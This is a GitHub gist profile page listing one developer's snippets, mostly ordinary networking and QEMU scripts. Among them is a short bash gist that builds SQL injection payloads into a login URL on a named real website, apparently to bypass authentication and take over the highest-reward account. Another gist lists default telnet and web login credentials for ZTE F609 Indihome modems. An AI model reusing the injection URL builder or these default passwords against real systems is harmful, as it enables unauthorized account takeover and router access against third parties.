Skip to content

Instantly share code, notes, and snippets.

💭
I'm programer and I have wife 😄

Mochamad Arifin ndunks

💭
I'm programer and I have wife 😄
View GitHub Profile
@ndunks
ndunks / ZTE-F609.md
Last active Jun 23, 2020
Manual help untuk Modem Indihome TELNET ZTE F609
View ZTE-F609.md

Telnet Manual Modem Indihome

Saya sering lupa, jadi tulis aja di gist.

Login Root via Telnet

telnet 192.168.1.1
login: root
pass : Zte521
@ndunks
ndunks / dnsmasq-dhcpserver.sh
Last active Jun 15, 2020
dnsmasq DHCP Server Example and logging
View dnsmasq-dhcpserver.sh
#!/bin/bash
if [ -z "$1" ]; then
IFACE=`ip l | grep ^2: | cut -d ' ' -f2`
# remove last ':'
IFACE=${IFACE::-1}
else
IFACE="$1"
fi
echo "Setup dnsmasq on $IFACE"
@ndunks
ndunks / ddns-update
Last active Jun 11, 2020
Namecheap DDNS Updater Bash Script
View ddns-update
# make it executable `chmod +x ddns-update`
# move it path `mv ddns-update /usr/bin/`
# setup cronjob for every 15 minutes `crontab -e`
# */15 * * * * ddns-update >/dev/null 2>&1
# dont forget to change your own domain & password
# uncomment if you want internet connection check before running
#while ! ping -c 1 -W 1 8.8.8.8; do
# echo "DDNS-UPDATE: Waiting internet connection.."
# sleep 2
@ndunks
ndunks / paste-symlink.ps1
Created Sep 30, 2017
Windows 10 Add Copy-Paste as Symbolic Link or Junction
View paste-symlink.ps1
@ndunks
ndunks / modem-indihome-zte
Created Mar 21, 2018
Default login telnet/webuser modem indihome ZTE F609
View modem-indihome-zte
webuser
=======
admin:admin
admin:Telkomdso123
user:user
telnet
======
root:Zte521
View temp.sh
``` bash
TOKEN="\' or true -- -"
USER="\' or true ORDER BY point_reward DESC limit 1 -- -"
DATA=$( printf "$TOKEN||$USER" | base64 -w 0 | sed s/=/%3D/ | sed s/\\//%2F/ )
echo "https://dewafortune.net/auth/login_campaign.php?data=$DATA"
```
@ndunks
ndunks / downloader.php
Created Oct 27, 2017
PHP Curl Downloader with resume support
View downloader.php
<?php
set_time_limit(0);
ignore_user_abort(true);
$url = "http://web.shit/backup.zip";
$ch = curl_init($url);
$to_file = 'web.zip';
$opt = array();
if(is_file($to_file))
{
@ndunks
ndunks / qemulate.sh
Created Apr 30, 2020
Qemu Change Hardisk Serial Number and Model
View qemulate.sh
sudo qemu-system-i386 \
-m 512 \
-smp 1 \
-enable-kvm \
-drive if=none,id=disk00,format=qcow2,file=tmp/disk1.qcow2 \
-device "ide-hd,drive=disk00,bus=ide.0,serial=00000000000000000001,model=VMware Virtual IDE Hard Drive" \
-nic tap
@ndunks
ndunks / qemu-linux-host-to-guest-bridge.md
Created Mar 30, 2020
Qemu Linux setup host to guest network connection using bridge
View qemu-linux-host-to-guest-bridge.md
sudo su
brctl addbr br0
ip addr add 192.168.3.100/24 dev br0
ip link set br0 up
[ -d /etc/qemu ] || mkdir /etc/qemu
touch /etc/qemu/bridge.conf
echo "allow br0" >> /etc/qemu/bridge.conf
@ndunks
ndunks / zte_extract.py
Created Mar 23, 2018
Modem Indihome ZTE F609 Config Extract and Repack
View zte_extract.py
#!/usr/bin/env python
# https://reverseengineering.stackexchange.com/a/13395
import sys
import binascii
import struct
import zlib
if (len(sys.argv) <= 1):
print('USAGE:\n%s [configBak.cfg|config.bin]' % sys.argv[0])
exit(1)
You can’t perform that action at this time.